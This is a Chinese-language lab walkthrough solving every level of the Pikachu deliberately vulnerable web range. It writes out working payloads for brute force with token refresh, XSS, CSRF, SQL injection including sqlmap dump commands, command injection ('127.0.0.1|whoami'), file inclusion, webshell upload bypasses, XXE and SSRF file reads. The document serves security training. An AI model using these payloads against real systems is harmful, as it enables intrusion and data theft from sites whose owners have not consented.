Pikachu靶场全关通关笔记与涉及的思路分析整理
前言
刚学完小迪的web基础漏洞,想找个靶场练练手来着,看了burpsuite的靶场、yakit的靶场、DVWA等等等等,总感觉不是差点啥就是太难。突然想起来我刚报完志愿的暑假听说过pikachu,看了下内容还挺全的,于是打算先试着打一下,顺便整理一下思路
一、靶场搭建
源码下载地址:https://github.com/zhuifengshaonianhanlu/pikachu
这里用PHPstudy和vmware上搭的win10虚拟机作为基础
将源码解压到根目录下

修改config文件

将其中的数据库名和密码改为PHPstudy配置对应的内容即可
修改好后访问/pikachu-master目录下的install.php即可安装

这样就是装好了,可以开始了
我们先创建一个testflag文件用来看实验成不成功

二、靶场通关
1 暴力破解
(1)基于表单
首页是这样

于是先随便写一个,yakit抓个包,扔到fuzz模块跑字典

插入字典

开始爆破

跑完找返回长度不一样的记录,页面提示login success,说明密码就是123456

(2)验证码绕过
对于验证码(包括在页面的人机校验验证码和发到手机邮箱上的身份验证验证码)其实主要就几种思路:爆破、置空、找验证码泄露(数据包中或API等)、重复使用验证码、修改提交的手机号(等参数)实现验证码并发或错发
回到靶场里,先抓个数据包

先尝试置空,显示验证码不能为空;尝试直接把参数删掉,返回同样的提示

尝试重复利用验证码,先劫持一个包,尝试多改几次数据包里的密码,发现存在验证码重复利用的问题。经过尝试,在复用验证码时不可以让网页自动刷新,数据包要一直是被劫持状态

那么我们开始爆破,重新抓个包,爆破时不放行原数据包,重复(1)中的步骤


成功了
(3)前端验证码校验绕过
同样还是测试上面提到的几种方法
可以发现,重复使用、置空或删除参数的方法都可以成功
但根据该关卡的提示,这是在客户端(前端)的校验,于是我们顺着题目的意思走一遍
测试下验证码正确和错误的数据包区别,发现是只有校验成功的才发包,那我们直接写对一次,抓包,就可以直接爆破了
前端生成验证码和校验源代码:

抓一个校验通过的数据包,不放行原数据包,开始爆破

成功了
(4)token防爆破
我们先抓个包看看数据包结构,发现有个token校验

先去分析这个token是从哪里来的,API?页面返回的?前端生成的?
最终发现token藏在返回的页面里了

这就得用到yakit的热加载功能了。
简单来说,热加载就是通过语法和脚本编写,实现一些行为自动化或连贯执行而不用停下来调试参数的技术。其实前面用到的爆破功能也是热加载的技术
流程:发送数据包->拿到下一次返回的页面->从页面里拿出token->应用到新的登录数据包里->重复过程
先把两个数据包(访问数据包、登录数据包)发到webfuzz功能里

在登陆数据包(POST方法的那个包)里添加热加载

点击token绕过模板,在它的基础上编辑

在这里添加请求头,这里我们填访问数据包(GET请求的包)的内容,一定一定要把其中的Cookie删掉

热加载代码:
beforeRequest = func(req) {
rsp, _, err = poc.HTTP(`GET /pikachu-master/vul/burteforce/bf_token.php HTTP/1.1
Host: 192.168.96.129
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
`)/* 这里可以替换为你需要的请求 其中的host,uri等换成自己的 */
if err != nil {
return req
}
// 获取GET响应的Set-Cookie
cookie = poc.GetHTTPPacketHeader(rsp, "Set-Cookie")
node, err = xpath.LoadHTMLDocument(rsp)
if err != nil {
return req
}
// 通过xpath语法获取token的值
tokenNode = xpath.FindOne(node, "//input[@name='token']")
if tokenNode == nil {
return req
}
token = xpath.SelectAttr(tokenNode, "value")
// 替换token
req = req.ReplaceAll("__TOKEN__", token)
// 替换cookie
req = poc.AppendHTTPPacketHeader(req, "Cookie", cookie)
return req
}
编辑好如下,点确认

回到登陆包界面,把Cookie删掉,添加爆破密码字典,开始爆破

成功
这里解释下为什么要删Cookie,因为token主要防止CSRF攻击,CSRF的原理是诱导一个已通过身份验证(例如已登录)的用户,用他的身份来干坏事。而token就用来防止这个问题,在用户做出操作时服务器会把用户token和cookie拿出来校验,这也就导致在本此实验中不删cookie会导致就算token替换正确了也会显示token错误
2 XSS(跨站脚本漏洞)
XSS原理主要是用户输入的语句被拼接成了js语句显示在页面里并被浏览器执行,它的核心思想其实跟sql注入有点像,都是通过拼接成正确的语句被执行,不过sql注入执行在后端且语言为数据库语言而已。因此在尝试XSS时重点在于怎么拼成正确语法,咋看正不正确嘞?当然是F12检查显元素代码啦~
(1)反射型xss(GET)
页面长这样

先试着往对话框写1,返回who is 1,i don't care!

右键鼠标检查回显元素

写在标签内容里的,所以不用怎么拼,直接写上经典的<script>alert(1)</script>
结果发现输入框里有长度限制,这里有两种方法
法1 右键检查输入框元素,把maxlength改大然后直接输就行



法2 直接把语句写在url里
原url:http://192.168.96.129/pikachu-master/vul/xss/xss_reflected_get.php?message=1&submit=submit
注入xss语句的url:http://192.168.96.129/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(1)%3C/script%3E&submit=submit

成功了
(2)反射型xss(POST)

提示我们先登录再xss拿cookie,登录账号密码admin/123456
登陆后也是一个输入框,输入1,输入语句已经不显示在URL中了

抓个包

一样的,有回显,直接注入。这关是要求我们拿cookie,所以我们改一下注入语句<script>alert(document.cookie)</script>

这里看到页面里已经嵌入js代码了,右键返回包,选择在浏览器中查看


显示不太正常,应该是yakit只加载了这个包,没事,那我们换hackbar来注入

成功了。注意POST发送的内容要和抓包的请求体的内容一样,否则参数错误就失败了
(3)存储型xss
一般XSS的话SRC要收也得是能影响到大范围用户的,例如存储型是收的。反射型这种只能影响到自己的不收
存储型XSS之所以能影响到其他用户是因为它会被存储在数据库中,每个访问这个页面的用户都会搜到影响。一般会在注册用户、留言板、博客等能输入数据被存储且能被改变页面元素的地方产生
那么我们先来看页面,是个留言板。我们输入1,被存储的内容就会显示在输入框下面。

那么,我们直接输入经典代码<script>alert(1)</script>

页面弹出代码,且每刷新一次都会弹出一次,成功了
(4)DOM型xss
先输入1,看看元素结构

发现参数是传到a标签的href属性里,也就是说我们可以通过传入的参数值来控制html文件的DOM,从而实现XSS。于是插入语句 javascript:alert(1)

点击a标签(what do you see字样)即可触发

(5)DOM型XSS-X
先输入1,观察页面变化

再点击链接出现第二行字

点击第二行出现的字,跳转到/vul/xss/xss_dom_x.php?text=1#

说明我们写进去的数字很可能被藏在第二个链接里
那么我们输入javascript:alert(1),再顺着这个逻辑点一遍,发现在点第二个链接时成功弹窗

(其实观察可发现,这个XSS代码也会被写在URL里,直接修改URL参数应该也是可行的)
(6)XSS-盲打
看首页,先发个测试文本试下

提示我们登录后台查看在/xssblind/admin_login.php,我们去看看。登录账号密码:admin/123456

这个地方就很像注册账号和类似市长信箱这种功能点了,实战的时候属于只能顺手测一下试试。在这边我们看的到后台,那就检查下元素

没看出啥过滤,直接输经典语句试试

再次进入后台就弹窗了

(7)XSS过滤
输<script>alert(1)</script>,页面返回如下

被过滤了。XSS过滤绕过思路大概有:换标签、换大小写、换编码、对空格过滤的用特殊符号替代。如果遇到把输出内容实体化的,除了有办法把实体化逻辑去掉,不然基本可以跑路了
对这题我们试一下大小写绕过
输入<Script>alert(1)</Script>,成功绕过

(8)xss之htmlspecialchars
观察一下

写在href里的,可以试下DOM型,输入javascript:alert(1),成功了

那为什么这边不能用<script>alert(1)</script>呢?因为这边采用了PHP中的htmlspecialchars方法,作用是把特殊字符实体化,让网页解析的时候只把特殊符号当作文字而非变量或标签符号
(9)xss之href输出
同DOM型,前面讲了很多了,这里不再赘述


(10)xss之js输出

这里我们看到我们写的数据被写进变量ms里了。那么怎么让它弹个框出来证明以下XSS存在呢?这里就涉及到我们本章节开头就讲到的拼凑了,需要拼凑js代码让他执行我们想要执行的语句。现在我们开始分析:
源代码
<script>
$ms='1';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
经典语句:<script>alert(1)</script>,在这段代码中,我们写的东西已被包含在script标签里,而我们要做的就是执行alert(1)。假设我们直接写alert(1),就会构造成$ms='alert(1)';,那么我们要做的就是把给变量ms的赋值语句补充完整,在让alert(1);独立出来执行,也就是最终要拼成
$ms='1';alert(1);//';
所以我们的注入语句是:1';alert(1);//
来试一下,成功了


题外话:XSS这章怎么这么多
3 CSRF(跨站请求伪造)
简单来说 CSRF是构造一个url让有身份的用户去请求,XSS是偷用户cookie让攻击者自己顶替被偷盗cookie的用户登录进对应账户
(1)CSRF(get) login
这里我们用两个浏览器,一个模拟lucy,一个模拟lili

在lucy这边写一个更改性别为沃尔玛购物袋的请求并拦截,把url复制下来在lili那边访问

/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=%E6%B2%83%E5%B0%94%E7%8E%9B%E8%B4%AD%E7%89%A9%E8%A2%8B&phonenum=12345678922&add=usa&email=lucy%40pikachu.com&submit=submit

成功改动,因为这边其他参数我没改,所以邮箱电话信息都变成lucy的了
(2)CSRF(post)
post方式的话一般构造恶意页面让受害者访问,实现攻击。这里抓包工具我们换成burpsuite
同样的,我们先用lucy身份发一个修改身份的包,把它拦截下来,发到repeater
BurpSuite->Engagement tools->Generate CSRF Poc(勾选自动触发脚本)Include auto-submit script生成poc


复制html文件并写到自己的网站中,这里我们写在原csrf目录的csrf_pocpage.html里

用登录lili的浏览器访问该页面

访问后:


身份信息成功被修改
4 SQL-Inject(SQL注入漏洞)
SQL注入产生的原理:接受的参数值未进行过滤直接带入SQL查询的操作
攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注入就能干嘛)
SQL语句能干嘛=SQL语句由谁决定=>数据库类型决定(因此用的数据库不一样注入语句也会有点不一样)
(1)数字型注入
先看页面,选择1试试水

order by查询字段(列)数 直到最后一个页面正常回显的数字即为字段数,这里是2
order by 2:

order by 3:

找回显位union select

爆库名和版本version(),database()

查表名:1 union select version(),group_concat(column_name) from information_schema.tables where table_schema='pikachu'

查列名:1 union select version(),group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'

拿数据:1 union select username,password from users

这里密码应该是md5加密过的
(2)字符型注入
字符型需要考虑闭合方式。这里在尝试 1' #时回显正常了,那就说明时单引号闭合

order by到3时报错,说明有两个字段

后面就跟(1)中一样了,这里不再重复
(3)搜索型注入
这里存在模糊匹配,匹配语句:$query="select username,id,email from member where username like '%$name%'";
因此,我们要考虑闭合
输入1%' #

查字段1%' order by 4 # 因此这里有3个字段

后面就一样了
(4)xx型注入
语句: $query="select id,email from member where username=('$name')";
1') #闭合
1') order by 3 #报错,则字段数为2
后面一样了
1') union select version(),database() #

(5)insert/update注入
报错注入常用函数:floor, updatexml, extractvalue
这题的sql语句:
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
对于insert/update注入,主要通过报错注入,把异常的内容返回给页面,通过返回的异常内容获取数据库的数据
这里用extractvalue
' or extractvalue(1, concat(0x5c, (select concat(database(),';',@@hostname,';',user(),';',version())),0x5c)) or '


(6)delete注入
点击删除即可删掉留言

这里拦截包修改请求

还是报错注入
or updatexml(1,concat(0x5e,(concat(database(),';',@@hostname,';',user(),';',version())),0x5e),1)

注意:特殊字符需要url编码
(7)httpheader注入
可以看到这里用到了请求包中的数据,可以尝试在请求头中输入sql语句实现攻击

拦截包 poc:' or extractvalue(1, concat(0x5c, (select concat(database(),';',@@hostname,';',user(),';',version())),0x5c)) or '

(8)布尔盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注
布尔盲注就是页面只返回对或错结果,无法报错或以其他方式回显消息。也因此我们只能一位一位去猜数据
布尔常用判断语法:
and length (database ())=7;
and left (database (),1)='p';
and left (database (),2)='pi'; #前两位
and substr (database (),1,1)='p'; #第一位
and substr(database (),2,1)='i'; #第二位
and ord(left(database(),1))=112;
对于这题,他返回正确的页面中有返回数据的地方,所以这边其实还是给了机会直接返回数据的
poc:1' union select concat(@@hostname,database()),concat(user(),version()) #

(9)时间盲注--sqlmap
时间盲注比布尔盲注更麻烦,时间盲注只能通过语句中的延时语句来判断对错。相当于在布尔一个一个猜的基础上还要多个对错都没回显
一般猜例如库名什么的这些数据我们采用二分法来加快猜解速度,就是每次都判断某一位字符在ascii码表对应值与目标可能出现的数据集的中间值的大小关系
时间盲注常用函数:if,sleep
盲注流程:判断注入点->判断数据库长度->一个一个字猜数据库名->获取表名称(多个表,一个个猜)->获取表的字段信息->获取表字段的数据
时间盲注的流程十分繁琐,一般都是用工具去跑,并且就算用工具也要跑很久。
这里就不手工测了,正好补充sqlmap的使用方法
sqlmap一把梭
首先,sqlmap是基于自己分析网站制定方案,sqlmap只是帮你实现想法。因此在使用sqlmap之前需要自己检查目标,整理思路,然后用sqlmap实现想法
特别的,如果数据库是Access的话直接猜表,因为Access是没有数据库的,直接是表
如果注入点在请求头或者是以POST数据格式发送数据的话,可以保存下发送数据包,在注入点后加上*,使用-r参数后面跟数据包的存储路径
这样比较好,因为不用数据包的话sqlmap就会用自己的数据包,会被看出来/找不到注入点(sqlmap默认发包的话会有工具的特征,比如UA为sqlmap,容易被屏蔽)。所以我们这抓个包,然后另存为文本文件,再用sqlmap扫
sqlmap使用语法参考:https://www.cnblogs.com/bmjoker/p/9326258.html 大佬写的特别全
在输入点上写个*,sqlmap就会识别到

python sqlmap.py -r C:\Users\35746\Desktop\111.txt

--current-db 查当前数据库

--tables -D "pikachu" 查当前数据库表

--columns -T "users" -D "pikachu" 查users表中字段

--dump -C "username,password" -T "users" -D "pikachu" 拖表中数据

(10)宽字节注入
宽字节注入是因为MySQL对宽字节字符(如GBK编码)的解析方式与应用程序的过滤逻辑不一致,导致转义被绕过
靶场代码
if(isset($_POST['submit']) && $_POST['name']!=null){
$name = escape($link,$_POST['name']);
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
$set = "set character_set_client=gbk";
execute($link,$set);
//mysqi_query不打印错误描述
$result=mysqli_query($link, $query);
if(mysqli_num_rows($result) >= 1){
while ($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
抓个包

插入语句绕过%df',在%df'后面加sql语句,这里演示查数据库名和版本
1%df' union select database(),version() #

后续和数字型一样
5 RCE(远程命令/代码执行)
RCE代码执行:引用脚本代码解析执行
RCE命令执行:脚本调用操作系统命令
漏洞函数:
1.PHP:
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、 uasort()、等
PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、 proc_popen()、passthru()、等
2.Python:eval exec subprocess os.system commands
3.Java:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数, 但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL 等
利用命令连接符实现执行命令:| || & &&
(1)exec "ping"
看到是一个执行ping命令的页面

我们输入127.0.0.1后采用|符号来执行命令
127.0.0.1|whoami

(2)exec "eval"
输入字符串后页面返回空白,抓个包看一下

看见是以POST方式提交的字符串,尝试传入恶意语句,这里用phpinfo();

6 Files Inclusion(文件包含漏洞)
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写。这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件参数能进行控制,则会产生文件包含漏洞
(1)本地文件包含

看到这个参数,尝试改动为其他文件
http://192.168.96.129/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4

(2)远程文件包含
include函数:include 'filename.php'会把filename.php文件的内容插入到当前文件中
可以看到url中出现了include

尝试更改参数:
http://192.168.96.129/pikachu-master/vul/fileinclude/fi_remote.php?filename=include%2F../../../test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4

7 Unsafe file downloads(不安全的文件下载)
文件下载、目录遍历、文件包含这类文件类的问题主要都是一个原因:使用了用户传入的参数拼接进逻辑并且缺少防护
对这题,先来看题目

我们随便点击一个,分析数据包特殊点

可以看到这边有个参数名可以改动,试着改传入的文件名为特殊文件 phpinfo.txt

成功读取
8 Unsafe file uploads(不安全的文件上传)
文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用
无文件解析安全问题时,文件格式解析是一对一的(不能jpg解析为php),换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析
注意:一定要把杀软关掉先,不然后门文件会直接被删
(1)客户端check
首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了
先用哥斯拉生成一个php的马,备用

先试着传一下,被弹窗了

因为这里是服务端检查,所以我们先改shell.php的后缀名为png,发包的时候拦截包再改回php

上传成功,还给了路径,直接连shell
先访问文件初始化木马

哥斯拉连shell


成功
(2)服务端check
这边的服务端校验并没有做强校验,只校验了MIME头,一般在做了强校验并且没有可以改变文件解析规则的漏洞时就没有文件上传漏洞了
这里我们拦截包改MIME头为image/png即可


直接连shell

成功
(3)getimagesize()
这关校验就比较强了,只能以图片格式上传,并且不能直接访问,只能通过其他漏洞来实现后门连接
直接改后缀还不行

先去了解一下文件格式头
不同类型文件在解析时的解析头是不一样的,这个解析头是指用十六进制编辑器看到的
例如图片格式 为:

而php文件为:

而getimagesize()通过读取图像文件的元数据或解析图像数据来实现图像信息读取,也就是说它看到的是上面截图里那样的数据,用后缀名、MIME是无法忽悠过它的
那么我们就尝试用伪造数据头的办法来骗他,从而实现上传

我们来看下现在他在十六进制编辑器下长啥样

可以看到,文件头已经被改成GIF格式文件的文件头了
现在再上传

看来只能用图片格式的后缀了

成功了,url为http://192.168.96.129/pikachu-master/vul/unsafeupload/uploads/2025/12/16/40852369412aa89efbe051567954.png
但没有文件解析漏洞的问题是不能直接连上shell,我们用文件包含来解析这个后门(相当于强制解析为php文件)
http://192.168.96.129/pikachu-master/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2025/12/16/40852369412aa89efbe051567954.png&submit=%E6%8F%90%E4%BA%A4

成功了


9 Over Permisson(越权漏洞)
主要测试功能点:需要用到账号信息的、可以查看或修改账号信息的,例如:账号信息查看、账号密码信息更改、个人信息导出等
水平越权:越到同等级的账号,例如游客1->游客2
垂直越权:越到更高等级的账号,例如游客->管理员
(1)水平越权
测试账号:lucy/123456,lili/123456,kobe/123456
先随便登陆一个账号,看到后台有一个查看个人信息的功能

可以看到里面有一个传入的username的参数,我们试着把它改成其他账号用户名

成功变成劳大
(2)垂直越权
账号:admin/123456,pikachu/000000,admin是超级boss
我们登录到pikachu和admin看看区别


发现admin多了添加用户的功能,页面为:op2_admin_edit.php
退出登录尝试直接访问op2_admin_edit.php,被重定向回登录页了。但当我们以pikachu身份访问时,出现了admin添加用户的页面,成功越权

试下能不能用

成功了
10 目录遍历
../../../
目录遍历主要是因为开发时没做权限设置、使用了不安全的方式浏览文件(接受文件名为变量实现,并且还没过滤)。还有是跟环境配置有关系,例如PHPstudy其实是有设置DIR路径的功能,如果功能开启就无法遍历到网站根目录以外。
看这题


可以看到不同的留言是以文件名传参的方式浏览,那我们就可以尝试加上../这样的参数尝试目录遍历,这里我们看一下后台,看到了一个phpinfo.txt文件,因此我们尝试读这个文件。(真实环境下一般先查是哪个系统,然后爆破路径)

传入参数:
../../../test/phpinfo.txt
成功读取文件

11 敏感信息泄露
敏感信息泄露其实对渗透测试很重要,它也是信息收集的重要目标。包括:目录文件结构、操作系统、中间件、开发语言版本、后台登录地址、内网接口信息、账号密码、用户身份证号码、目标系统重要信息资料及核心机密等
一般对网站的测试流程:端口扫描、目录爬取/爆破、前端查看js文件找路径和API泄露、google语法搜索、查指纹信息、查目标公司其他互联网资产、ip反查域名等等,基本就是信息搜集的技术了
I can see your ABC
泄露点1:前端泄露测试账号密码

泄露点2:未授权访问
直接访问abc.php也可以直接访问

12 反序列化漏洞
序列化:对象转换为数组或字符串等格式 serialize()
反序列化:将数组或字符串等格式转换成对象 unserialize()
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法
反序列化漏洞一般在白盒测试中测试,通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来,从而实现攻击。并且攻击是基于不安全的魔术方法。如果没有不安全的魔术方法,那么该反序列化安全。
PHP反序列化漏洞
页面长这样

我们看下代码,__construct()方法里直接将接收到的test参数内容写到页面里,会导致XSS
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
本地新建一个php文件用于构造pop链,技巧:留下要动的,丢掉不动的
pop:
<?php
class S{
var $test = "<script>alert('1')</script>";
}
$pop = new S();
$Ser = serialize($pop);
echo $Ser;
?>
poc:O:1:"S":1:{s:4:"test";s:27:"<script>alert('1')</script>";}
输到框中,提交

13 XXE(XML External Entity attack)
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。
XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞:XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网扫描、攻击内网等危害
(1)XXE漏洞
构造payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "C:/phpstudy_pro/WWW/pikachu-master/testflag.txt" > ]>
<foo>&xxe;</foo>

14 URL重定向
采用参数接受的形式接受了url跳转的页面并且没做判定就会导致这个问题
不安全的URL重定向
看题

鼠标放在链接上,观察他们的跳转逻辑,发现“秋天”和“我就是我”这两行URL有问题

我们右键复制链接,修改参数里的路径,访问百度

成功

15 SSRF(Server-Side Request Forgery)
SSRF(Server-Side Request Forgery:服务器端请求伪造)
一种由攻击者构造形成由服务端发起请求的一个安全漏洞; 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统(由服务端发起,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目 标地址做过滤与限制
(1)SSRF(curl)
点到页面的链接后来到这个页面,发现URL参数中使用了伪协议

那么我们就可以尝试伪协议读取其他的文件
例如http://192.168.96.129/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///C:/phpstudy_pro/WWW/pikachu-master/testflag.txt(用file协议)

(2)flie_get_content
同样的步骤


浙公网安备 33010602011771号